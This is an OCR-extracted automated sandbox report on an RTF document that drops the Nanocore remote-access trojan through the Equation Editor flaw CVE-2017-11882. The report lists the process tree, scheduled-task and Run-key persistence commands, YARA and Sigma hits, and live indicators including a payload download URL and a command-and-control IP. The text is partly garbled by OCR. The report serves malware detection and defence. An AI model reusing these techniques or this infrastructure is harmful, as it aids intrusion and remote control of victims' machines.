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Analysis Report HLiw2LPASi.rtf

Overview
General Information Detection Classification
Sample HLiw2LPASi.rtf
Name: Detected Nanocore Rat
Analysis ID: 319520 MALICIOUS Found malware configuration
MDS: 41820dc68297b8.. Malicious sample detected (through ...
SHA1L:
5292d196dffee7a.. Multi AV Scanner detection for dropp...
SHA256: 216e0f960afa28b..

Multi AV Scanner detection for subm...
Tags:

Most interesting Screenshot: Sigma detected: Droppers Exploiting...

Sigma detected: EQNEDT32.EXE c...

Sigma detected: File Dropped By EQ...

Nanocore Sigma detected: NanoCore
100

Sigma detected: Scheduled temp file...

Score:

Range: 0-100 Yara detected AntiVM_3

Whitelisted:  false

Confid 100% Yara detected Nanocore RAT
onfidence: Q)

Bils Toelel=]  seoar

(%]
: &
P >
B
o (=
g
®
D 7]

Startup

= System is w7x64

. WINWORD.EXE (PID: 2444 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
. ﬁ EQNEDT32.EXE (PID: 2428 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5:
AB87236E214F6D42A65F5DEDAC816AECS)
. 'E?r vbc.exe (PID: 2528 cmdline: 'C:\Users\Public\vbc.exe' MD5: 678 DAC5FC4C6A55F032BA40698895E6A)
. 'E?r vbc.exe (PID: 3024 cmdline: C:\Users\Public\vbc.exe MD5: 678DAC5FC4C6A55F032BA40698895E6A)
. 'E?r vbc.exe (PID: 2956 cmdline: C:\Users\Public\vbc.exe MD5: 678DAC5FC4C6A55F032BA40698895E6A)
e (W schtasks.exe (PID: 2256 cmdline: 'schtasks.exe' /create /f /tn 'SMTP Service' /xml 'C:\Users\user\AppData\Local\Temp\tmp759D.tmp' MD5:
2003E9B15E1C502B146DAD2E383AC1E3)
o (B schtasks.exe (PID: 1552 cmdline: 'schtasks.exe' /create /f /tn 'SMTP Service Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp785C.tmp' MD5:
o 2003E9B15E1C502B146DAD2E383AC1E3)
* Jo, EQNEDT32.EXE (PID: 2840 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE' -Embedding MD5:
AB87236E214F6D42A65F5DEDAC816AECS)
e [ taskeng.exe (PID: 620 cmdline: taskeng.exe {3F163B95-C921-42AE-AFC4-E420462D2554} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5:
65EA57712340C09B1B0C427B4848AE05)
. 'E?r vbc.exe (PID: 2016 cmdline: C:\Users\Public\vbc.exe 0 MD5: 678DAC5FC4C6A55F032BA40698895E6A)
. ‘E?r vbc.exe (PID: 1520 cmdline: C:\Users\Public\vbc.exe MD5: 678DAC5FC4C6A55F032BA40698895E6A)
. 'E?r vbc.exe (PID: 2340 cmdline: C:\Users\Public\vbc.exe MD5: 678DAC5FC4C6A55F032BA40698895E6A)
. 'E?r smtpsvc.exe (PID: 1164 cmdline: 'C:\Program Files (x86)\SMTP Service\smtpsvc.exe' 0 MD5: 678 DAC5FC4C6A55F032BA40698895E6A)
. 'E?r smtpsvc.exe (PID: 1744 cmdline: C:\Program Files (x86)\SMTP Service\smtpsvc.exe MD5: 678DAC5FC4C6A55F032BA40698895E6A)
vic.exe (PID: 2524 cmdline: 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vic.exe' MD5: 678 DAC5FC4C6A55F032BA40698895E6A)
'E?r vic.exe (PID: 2152 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vic.exe MD5: 678DAC5FC4C6A55F032BA40698895E6A)
smtpsvc.exe (PID: 1108 cmdline: 'C:\Program Files (x86)\SMTP Service\smtpsvc.exe' MD5: 678DAC5FC4C6A55F032BA40698895E6A)
'E?r smtpsvc.exe (PID: 2040 cmdline: C:\Program Files (x86)\SMTP Service\smtpsvc.exe MD5: 678DAC5FC4C6A55F032BA40698895E6A)
vic.exe (PID: 2796 cmdline: 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vic.exe' MD5: 678 DAC5FC4C6A55F032BA40698895E6A)
. 'E?r vic.exe (PID: 2232 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VideoLAN\vic.exe MD5: 678DAC5FC4C6A55F032BA40698895E6A)
= cleanup

Ww.®.0

Malware Configuration

Threatname: NanoCore
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s |
"192.253.246.143"
1,

"Version:

Yara Overview

Memory Dumps

Source

00000016.00000002.2320144510.00000000026
71000.00000004.00000001.sdmp

00000016.00000002.2320144510.00000000026
71000.00000004.00000001.sdmp

00000018.00000002.2357810683.00000000004
02000.00000040.00000001.sdmp

00000018.00000002.2357810683.00000000004
02000.00000040.00000001.sdmp

00000018.00000002.2357810683.00000000004
02000.00000040.00000001.sdmp

Unpacked PEs

Source

23.2.smtpsvc.exe.400000.1.unpack

23.2.smtpsvc.exe.400000.1.unpack

Copyright null 2020

": "NanoCore Client, Version=1.2.2.0"

Rule Description Author

JoeSecurity_Nanocore Yara detected Joe Security
Nanocore RAT

NanoCore unknown Kevin Breen

<kevin@techanarchy.net>

Nanocore_RAT_Gen_2 Detetcs the Florian Roth
Nanocore RAT
JoeSecurity_Nanocore Yara detected Joe Security
Nanocore RAT
NanoCore unknown Kevin Breen
<kevin@techanarchy.net>
Click to see the 67 entries
Rule Description Author
Nanocore_RAT_Gen_2  Detetcs the Florian Roth

Nanocore RAT

Nanocore_RAT_Feb18_1 Detects Nanocore Florian Roth
RAT

®© o © 06 © 06 © ¢ o ©6 @ @ 0o © 0 0 0 0 0 o 0

.

© © © o6 o 06 o o o 0o 0 o o o 5 0 o 0 0 o o

Strings

0x24ea7:$a: NanoCore
0x24f00:$a: NanoCore
0x24f3d:$a: NanoCore
0x24fb6:$a: NanoCore
0x24f09:$b: ClientPlugin
0x24f46:$b: ClientPlugin
0x25844:$b: ClientPlugin
0x25851:$b: ClientPlugin
0x1b033:$e: KeepAlive
0x25391:$g: LogClientMessage
0x25311:$i: get_Connected
0x152dd:$j: #=q

0x1530d:$j: #=q

0x15349:3j: #=q

0x15371:$j: #=q

0x153al:$j: #=q

0x153d1:$j: #=
0x15401:8$j: #=q
0x15431:3$j: #=q
0x1544d:3$j: #=q
0x1547d:3$j: #=q

0xff8d:$x1: NanoCore.ClientPluginHost

Oxffca:$x2: IClientNetworkHost

0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctIILdgtcbw8
JYUc6GC8MeJ9B11Crfg2DjxcfOp8PZGe

Oxfcf5:$a: NanoCore
0xfd05:$a: NanoCore
0xff39:$a: NanoCore

0xff4d:$a: NanoCore

0xff8d:$a: NanoCore
0xfd54:$b: ClientPlugin
0xff56:$b: ClientPlugin
0xff96:$b: ClientPlugin
Oxfe7b:$c: ProjectData
0x10882:$d: DESCrypto
0x1824e:$e: KeepAlive
0x1623c:$g: LogClientMessage
0x12437:$i: get_Connected
0x10bb8:$j: #=q

0x10be8: =
0x10c04:$j: #=q
0x10c34:$j: #=q
0x10c50:$j: #=q
0x10c6e:$j: #=q
0x10c9c:$j: #=q
0x10ch8:$j: #=q

Strings

e o o o o o o

0x1018d:$x1: NanoCore.ClientPluginHost
0x101ca:$x2: IClientNetworkHost

0x13cfd:$x3: #=0jgz7ljmpp0J7FvLIdmi8ctIILdgtchw
8JYUc6GC8MeJIB11Crfg2DjxcfOp8PZGe

0xff05:$x1: NanoCore Client.exe
0x1018d:$x2: NanoCore.ClientPluginHost
0x117¢6:$s1: PluginCommand
0x117ba:$s2: FileCommand
0x1266b:$s3: PipeExists

0x18422:$s4: PipeCreated

0x101b7:$s5: IClientLoggingHost
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Source Rule
23.2.smtpsvc.exe.400000.1.unpack JoeSecurity_Nanocore
23.2.smtpsvc.exe.400000.1.unpack NanoCore

24.2.smtpsvc.exe.400000.0.unpack

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Sigma detected: NanoCore

Sigma detected: Scheduled temp file as task from temp location

Signature Overview

AV Detection:
Copyright null 2020

@

Click to jump to signature section

unknown Kevin Breen

Detetcs the Florian Roth
Nanocore RAT

Nanocore_RAT_Gen_2

Description Author Strings

Yara detected Joe Security
Nanocore RAT

<kevin@techanarchy.net>

0x12637:$i:
0x10db8:$j:
0x10de8:$j:
0x10e04:$j:
0x10e34:$j:
0x10e50:%j:
0x10e6c¢:$j:
0x10e9c:$j:

Oxfef5:$a: NanoCore
0xff05:$a: NanoCore
0x10139:%a: NanoCore
0x1014d:$a: NanoCore
0x1018d:$a: NanoCore
0xff54:$b: ClientPlugin
0x10156:$b: ClientPlugin
0x10196:$b: ClientPlugin
0x1007b:$c: ProjectData
0x10a82:$d: DESCrypto
0x1844e:$e: KeepAlive
0x1643c:$g: LogClientMessage

0x10eb8:$j: #=q

0x1018d:$x1: NanoCore.ClientPluginHost
0x101ca:$x2: IClientNetworkHost

e 0x13cfd:$x3: #=qjgz7Ijmpp0J7FvLIdmi8ctlILdgtchw
8JYUc6GC8MeJIB11Crfg2DjxcfOp8PZGe

Click to see the 27 entries

@ AV Detection

@ Exploits

@ Spreading

@ Software Vulnerabilities

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

@ System Summary

©® Data Obfuscation

@ Persistence and Installation Behavior

@ Boot Survival

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

@ Remote Access Functionality
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Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file

Yara detected Nanocore RAT

Exploits:

E-Banking Fraud: | |

Yara detected Nanocore RAT

]‘

System Summary:

Malicious sample detected (through community Yara rule)

Boot Survival:

=

Hooking and other Techniques for Hiding and Protection:

:

Malware Analysis System Evasion:

=

Yara detected AntiVM_3

HIPS | PFW | Operating System Protection Evasion:

‘]

Stealing of Sensitive Information:

=

Yara detected Nanocore RAT

]‘

Remote Access Functionality:

Detected Nanocore Rat

Yara detected Nanocore RAT

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command \
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E
Valid Exploitation for Scheduled  Process Disable or Modify Input Account Discovery Remote Archive Exfiltration  Ingress Tool E
Accounts Client Task/Job Injection Tools Capture Services Collected Over Other Transfer It
Execution Data Network N

Medium C
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Initial Privilege
Access Execution Persistence Escalation
Default Command and  Registry Scheduled
Accounts Scripting Run Keys/ Task/Job

Interpreter Startup
Folder

Domain Scheduled Logon Script Registry Run
Accounts Task/Job (Windows)  Keys / Startup

Folder

Local At (Windows) Logon Script Logon Script
Accounts (Mac) (Mac)

Cloud Cron Network Network Logon
Accounts Logon Script Script
Replication  Launchd Rc.common Rc.common
Through

Removable

Media

External Scheduled Task Startup Startup Items
Remote Items

Services

Drive-by Command and Scheduled  Scheduled

Compromise Scripting Task/Job Task/Job
Interpreter

Exploit PowerShell At (Linux) At (Linux)

Public-

Facing

Application

Behavior Graph

Copyright null 2020

Defense Evasion

Obfuscated Files or
Information

Software Packing

Masquerading

Virtualization/Sandbox
Evasion

Process

Injection

Hidden Files and
Directories

Indicator Removal from
Tools

Masquerading

Credential
Access

LSASS
Memory

Security
Account
Manager

NTDS

LSA Secrets

Cached
Domain
Credentials

DCSync

Proc
Filesystem

letc/passwd
and
letc/shadow

Discovery

File and Directory
Discovery

System Information

Discovery

Security Software

Discovery

Virtualization/Sandbox
Evasion

Process Discovery

Application Window
Discovery

System Owner/User
Discovery

Remote System
Discovery

Lateral
Movement

Remote
Desktop
Protocol

SMB/Windows
Admin Shares

Distributed
Component
Object Model

SSH

VNC

Windows
Remote
Management

Shared
Webroot

Software
Deployment
Tools

Collection

Input

Capture

Data from
Network
Shared Drive

Input Capture

Keylogging

GUI Input
Capture

Web Portal
Capture

Credential
API Hooking

Data Staged

Exfiltration

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Exfiltration
Over C2
Channel

Exfiltration
Over
Alternative
Protocol

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Command
and Control

Encrypted
Channel

AT m m>=>

Remote Access E
Software T

L
Non- N
Application <
Layer
Protocol
Application N

Layer

C
Protocol C

Multiband J
Communication C

<
Commonly F
Used Port A

Application C
Layer Protocol It

Web Protocols  F
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Screenshots
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

=

stried

-
<}

a2

Hide Legend

Legend:

[]

5

askeng exe

LU

i~ l0:

3

ms
I8
o

)

i
i
=

“ il
0@ 2

31 -

~

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET
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Is malicious

Internet
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files
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Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp://151.80.8.30/abw.exe 0% Avira URL Cloud safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe

Domains and IPs

Contacted Domains
Name Active Malicious Antivirus Detection Reputation
Contacted URLs

Name Malicious Antivirus Detection Reputation

e N e N T

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
hitp:/fiwww.%s.comPA vbc.exe, 00000004.00000002.220 false e URL Reputation: safe low
5582182.0000000008110000.00000 e URL Reputation: safe
002.00000001.sdmp, vbc.exe, 00 e URL Reputation: safe

000009.00000002.2382018390.000
0000005600000.00000002.0000000
1.sdmp, taskeng.exe, 0000000E.
00000002.2376760777.0000000001
B90000.00000002.00000001.sdmp

hitp:// vbc.exe, 00000004.00000002.220 false high
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 5582182.0000000008110000.00000

002.00000001.sdmp, vbc.exe, 00

000009.00000002.2382018390.000

0000005600000.00000002.0000000

1.sdmp, taskeng.exe, 0000000E.

00000002.2376760777.0000000001

B90000.00000002.00000001.sdmp

Contacted IPs
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public
P Domain Country Flag ASN ASN Name Malicious
151.80.8.30 unknown Italy Wi 16276 OVHFR true
192.253.246.143 unknown United States = 396362 LEASEWEB-USA-NYC- true
11Us
General Information
Joe Sandbox Version: 31.0.0 Red Diamond
Analysis ID: 319520
Start date: 18.11.2020
Start time: 11:53:59
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 11m 2s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: HLiw2LPASi.rtf
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed: 26
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.expl.evad.winRTF@33/14@5/2
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EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

11:54:43
11:54:45
11:55:25

11:55:29
11:55:31
11:55:31
11:55:31
11:55:33
11:55:33

11:55:34
11:55:42

Type
API Interceptor
API Interceptor

Autostart

API Interceptor
Task Scheduler
Task Scheduler
API Interceptor
API Interceptor

Autostart

API Interceptor

Autostart

Joe Sandbox View | Context

IPs

Match
151.80.8.30

192.253.246.143

Copyright null 2020

Associated Sample Name /| URL

Failed

e Successful, ratio: 3.5% (good quality ratio 3.2%)
e Quality average: 68.8%
e Quality standard deviation: 31.8%

e Successful, ratio: 95%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
rtf

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Active ActiveX Object

Scroll down

Close Viewer

Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, WerFault.exe, conhost.exe,
svchost.exe

e TCP Packets have been reduced to 100

e Report size exceeded maximum capacity and may
have missing behavior information.

e Report size getting too big, too many
NtAllocateVirtualMemory calls found.

e Report size getting too big, too many NtCreateFile
calls found.

e Report size getting too big, too many
NtEnumerateValueKey calls found.

e Report size getting too big, too many
NtQueryAttributesFile calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

e VT rate limit hit for:
lopt/package/joesandbox/database/analysis/31952
0/sample/HLiw2LPASi.rtf

Description
190x Sleep call for process: EQNEDT32.EXE modified
1507x Sleep call for process: vbc.exe modified

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run vic "C:\Users\user\AppData\Roaming\Microsoft
\Windows\Start Menu\Programs\VideoLAN\vIc.exe"

2x Sleep call for process: schtasks.exe modified

Run new task: SMTP Service path: "C:\Users\Public\vbc.exe" s>$(Arg0)

Run new task: SMTP Service Task path: "C:\Program Files (x86)\SMTP Service\smtpsvc.exe" s>$(Arg0)
299x Sleep call for process: taskeng.exe modified

547x Sleep call for process: smtpsvc.exe modified

Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run SMTP Service C:\Program Files (x86)\SMTP Ser
vice\smtpsvc.exe

504x Sleep call for process: vic.exe modified

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run vlc "C:\Users\user\AppData\Roaming\Microso
ft\Windows\Start Menu\Programs\VideoLAN\vic.exe"

SHA 256 Detection Link Context

Get hash malicious Browse e hieujhfbn
bxgasjd.dy
nv6.net/CK
C.exe

Get hash malicious Browse

Get hash malicious Browse
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https://view.joesandbox.com/analysis/237132/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237132/html/none?idtype=webid
https://view.joesandbox.com/analysis/235210/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235210/html/none?idtype=webid
https://view.joesandbox.com/analysis/233420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233420/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context
Get hash malicious Browse

Get hash malicious Browse

Domains
Match Associated Sample Name /| URL SHA 256 Detection Link Context
swryijgrvesgkopnmcdertvgdswbvmophtfd _ Get hash malicious Browse e 192.253.24
czxs.ydns.eu 6.143
_Get hash malicious Browse e 192.253.24
6.138
_Get hash malicious Browse e 192.253.24
6.138
_Get hash malicious Browse e 192.253.24
6.143
_Get hash malicious Browse e 192.253.24
6.143
_Get hash malicious Browse e 192.253.24
6.141
_Get hash malicious Browse e 192.253.24
6.143
_Get hash malicious Browse e 194.5.98.68
_Get hash malicious Browse e 5.135.233.28
ASN
Match Associated Sample Name /| URL SHA 256 Detection Link Context
OVHFR baf6b9fcecd91619b45c1dd7dbs6adad.exe  Gethash malicious Browse o 213.186.33.16
_Get hash malicious Browse e 51.75.130.83
_Get hash malicious Browse e 158.69.65.151
Get hash malicious Browse e 54.36.76.170
Get hash malicious Browse e 54.36.76.170
hitp:/, Get hash malicious Browse e 46.105.57.169
_Get hash malicious Browse e 51.38.230.18
Get hash malicious Browse e 54.39.123.117
Get hash malicious Browse e 51.210.112.129
_Get hash malicious Browse e 217.182.137.43
_Get hash malicious Browse e 51.210.112.129
_Get hash malicious Browse e 94.23.216.33
_Get hash malicious Browse e 91.121.200.35
_Get hash malicious Browse e 51.75.33.127
_Get hash malicious Browse e 151.80.8.30
_Get hash malicious Browse e 51.38.27.129
_Get hash malicious Browse e 51.38.27.129
hitp:/, Get hash malicious Browse e 151.80.37.64
hitp:/, Get hash malicious Browse e 144.217.67.58
Get hash malicious Browse e 51.210.112.63
LEASEWEB-USA-NYC-11US [BToxareiiiexe ) Get hash malicious Browse o 23.105.131.177
_Get hash malicious Browse e 23.105.131.239
_Get hash malicious Browse e 192.253.24
6.143
_Get hash malicious Browse e 23.105.131.177
_Get hash malicious Browse e 23.105.131.177
_Get hash malicious Browse e 192.253.24
6.138
_Get hash malicious Browse e 23.105.131.217
_Get hash malicious Browse e 23.105.131.217
_Get hash malicious Browse e 23.105.131.177
_Get hash malicious Browse e 192.253.24
6.138
_Get hash malicious Browse e 192.253.24
6.143
_Get hash malicious Browse e 192.253.24
6.143
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https://view.joesandbox.com/analysis/233363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233363/html/none?idtype=webid
https://view.joesandbox.com/analysis/229986/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229986/html/none?idtype=webid
https://view.joesandbox.com/analysis/235210/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235210/html/none?idtype=webid
https://view.joesandbox.com/analysis/234419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234419/html/none?idtype=webid
https://view.joesandbox.com/analysis/234205/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234205/html/none?idtype=webid
https://view.joesandbox.com/analysis/233420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233420/html/none?idtype=webid
https://view.joesandbox.com/analysis/233363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233363/html/none?idtype=webid
https://view.joesandbox.com/analysis/230913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230913/html/none?idtype=webid
https://view.joesandbox.com/analysis/229986/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229986/html/none?idtype=webid
https://view.joesandbox.com/analysis/228164/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228164/html/none?idtype=webid
https://view.joesandbox.com/analysis/227465/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/227465/html/none?idtype=webid
https://view.joesandbox.com/analysis/237897/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237897/html/none?idtype=webid
https://view.joesandbox.com/analysis/237860/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237860/html/none?idtype=webid
https://view.joesandbox.com/analysis/237739/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237739/html/none?idtype=webid
https://view.joesandbox.com/analysis/237597/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237597/html/none?idtype=webid
https://view.joesandbox.com/analysis/237592/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237592/html/none?idtype=webid
https://view.joesandbox.com/analysis/237404/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237404/html/none?idtype=webid
https://view.joesandbox.com/analysis/237372/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237372/html/none?idtype=webid
https://view.joesandbox.com/analysis/237363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237363/html/none?idtype=webid
https://view.joesandbox.com/analysis/237303/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237303/html/none?idtype=webid
https://view.joesandbox.com/analysis/237298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237298/html/none?idtype=webid
https://view.joesandbox.com/analysis/237290/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237290/html/none?idtype=webid
https://view.joesandbox.com/analysis/237264/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237264/html/none?idtype=webid
https://view.joesandbox.com/analysis/237239/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237239/html/none?idtype=webid
https://view.joesandbox.com/analysis/237201/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237201/html/none?idtype=webid
https://view.joesandbox.com/analysis/237132/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237132/html/none?idtype=webid
https://view.joesandbox.com/analysis/236885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236885/html/none?idtype=webid
https://view.joesandbox.com/analysis/236870/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236870/html/none?idtype=webid
https://view.joesandbox.com/analysis/236779/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236779/html/none?idtype=webid
https://view.joesandbox.com/analysis/236724/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236724/html/none?idtype=webid
https://view.joesandbox.com/analysis/236678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236678/html/none?idtype=webid
https://view.joesandbox.com/analysis/236593/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236593/html/none?idtype=webid
https://view.joesandbox.com/analysis/236186/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236186/html/none?idtype=webid
https://view.joesandbox.com/analysis/235210/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235210/html/none?idtype=webid
https://view.joesandbox.com/analysis/234495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234495/html/none?idtype=webid
https://view.joesandbox.com/analysis/234483/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234483/html/none?idtype=webid
https://view.joesandbox.com/analysis/234419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234419/html/none?idtype=webid
https://view.joesandbox.com/analysis/234351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234351/html/none?idtype=webid
https://view.joesandbox.com/analysis/234349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234349/html/none?idtype=webid
https://view.joesandbox.com/analysis/234218/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234218/html/none?idtype=webid
https://view.joesandbox.com/analysis/234205/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234205/html/none?idtype=webid
https://view.joesandbox.com/analysis/233420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233420/html/none?idtype=webid
https://view.joesandbox.com/analysis/233363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233363/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 173.234.15
5.145

Get hash malicious Browse e 173.234.15
5.145

Get hash malicious Browse e 173.234.15
5.145

Get hash malicious Browse e 173.234.15
5.145

Get hash malicious Browse e 192.253.24
6.141

JA3 Fingerprints

No context

Dropped Files

No context

Created /

dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Users\Public\vbc.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

798720

7.062174295870852

false

24576:Jsa5TcLNpo2AbAtY7/6RQeWXKaRXKzkICbX:baha2EAt46wXKaRDCh
678DAC5FC4C6A55F032BA40698895E6A
8EA9541292F8E5D68948031EBCEDAFE04DDA4A36
78491E950A624399F497CEDD25CAE2231223B1BCD2F93379480B3CIEDB4C6A92

3183B4FF5E16E81BD6E0509FA473F42AE8DB8DICIB41405E8A723BA4647DDBD58356A324B3C6FBCIAC390BC592086C07424D65ECF34EA79BD6862D7FD80CS8
6

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 23%

low

ceeee o ISTCLLLVLLL
.@..B RUOT IOUEI S .2

R U T O (U SO (P

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Copyright null 2020

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
downloaded

798720

7.062174295870852

false

24576:Jsa5TcLNpo2AbAtY7/6RQeWXKaRXKzkICbX:baha2EAt46wXKaRDCb
678DAC5FC4C6A55F032BA40698895E6A
8EA9541292F8E5D68948031EBCEDAFE04DDA4A36
78491E950A624399F497CEDD25CAE2231223B1BCD2F93379480B3CIEDB4C6A92

3183B4FF5E16E81BD6E0509FA473F42AE8DB8DICIB41405E8A723BA4647DDBD58356A324B3C6FBCIAC390BC592086C07424D65ECF34EA79BD6862D7FD80CS8
6

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 23%

low
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https://view.joesandbox.com/analysis/232738/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232738/html/none?idtype=webid
https://view.joesandbox.com/analysis/232731/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232731/html/none?idtype=webid
https://view.joesandbox.com/analysis/232730/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232730/html/none?idtype=webid
https://view.joesandbox.com/analysis/232728/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232728/html/none?idtype=webid
https://view.joesandbox.com/analysis/231908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231908/html/none?idtype=webid
https://view.joesandbox.com/analysis/231419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231419/html/none?idtype=webid
https://view.joesandbox.com/analysis/231265/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231265/html/none?idtype=webid
https://view.joesandbox.com/analysis/230913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230913/html/none?idtype=webid

|IE Cache URL: hitp://151.80.8.30/abw.exe

Preview:

1..L.IThis program cannot be run in DOS mode....$......
............................................................... Hooo
N+ + 4 (B (X 2 >+ (0L

o

e

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2658F6C0-C679-4D43-96D3-E7E6CC77C67B}.tmp
